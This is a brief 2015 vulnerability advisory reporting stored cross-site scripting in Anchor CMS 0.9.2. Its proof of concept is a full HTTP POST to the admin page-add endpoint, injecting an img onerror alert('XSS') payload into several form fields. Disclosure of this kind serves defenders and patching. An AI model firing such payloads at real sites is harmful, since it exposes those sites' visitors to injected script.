#Affected Vendor: http://anchorcms.com/ #Date: 23/03/2015 #Discovered by: JoeV #Type of vulnerability: XSS #Tested on: Windows 7 #Version: 0.9.2 #Description: Anchor CMS v 0.9.2 is susceptible to Cross Site Scripting attack. Proof of Concept (PoC): --------------------------- *XSS* --- POST /anchor/index.php/admin/pages/add HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Content-Length: 1003 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4w4M5e7r1tBwc2wp Referer: http://localhost/anchor/index.php/admin/pages/add Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: anchor-install-timezone=-330; anchorcms-install=kIlKh79lcE6sWxZBwoSMI2eN4LuqpHgK; anchorcms-install_payload=ZDYyYjliOTEyMzhlNjJjYmVjZTg0ZmFkNmMxMGRlMDRhOjM6e3M6NDoiX291dCI7YTowOnt9czozOiJfaW4iO2E6MDp7fXM6ODoiaHRhY2Nlc3MiO3M6Mzg4OiJPcHRpb25zIC1pbmRleGVzCgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KCVJld3JpdGVFbmdpbmUgT24KCVJld3JpdGVCYXNlIC9hbmNob3IKCgkjIEFsbG93IGFueSBmaWxlcyBvciBkaXJlY3RvcmllcyB0aGF0IGV4aXN0IHRvIGJlIGRpc3BsYXllZCBkaXJlY3RseQoJUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKCVJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kCgoJIyBSZXdyaXRlIGFsbCBvdGhlciBVUkxzIHRvIGluZGV4LnBocC9VUkwKCVJld3JpdGVSdWxlIF4oLiopJCBpbmRleC5waHAvJDEgW0xdCjwvSWZNb2R1bGU%2BCgo8SWZNb2R1bGUgIW1vZF9yZXdyaXRlLmM%2BCglFcnJvckRvY3VtZW50IDQwNCBpbmRleC5waHAKPC9JZk1vZHVsZT4KIjt9; anchorcms=u8h0s9Vjh9LUAM56y7TDWBFolw8tJxxC ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="token" 286db1269c0e304c7e435bf10251f950 ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="title" <img src="blah.jpg" onerror="alert('XSS')"/> ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="redirect" ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="content" <img src="blah.jpg" onerror="alert('XSS')"/> ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="name" <img src="blah.jpg" onerror="alert('XSS')"/> ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="slug" <img src="blah.jpg" onerror="alert('XSS')"/> ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="status" published ------WebKitFormBoundary4w4M5e7r1tBwc2wp Content-Disposition: form-data; name="parent" 1 ------WebKitFormBoundary4w4M5e7r1tBwc2wp-- -- Regards, *Joel V*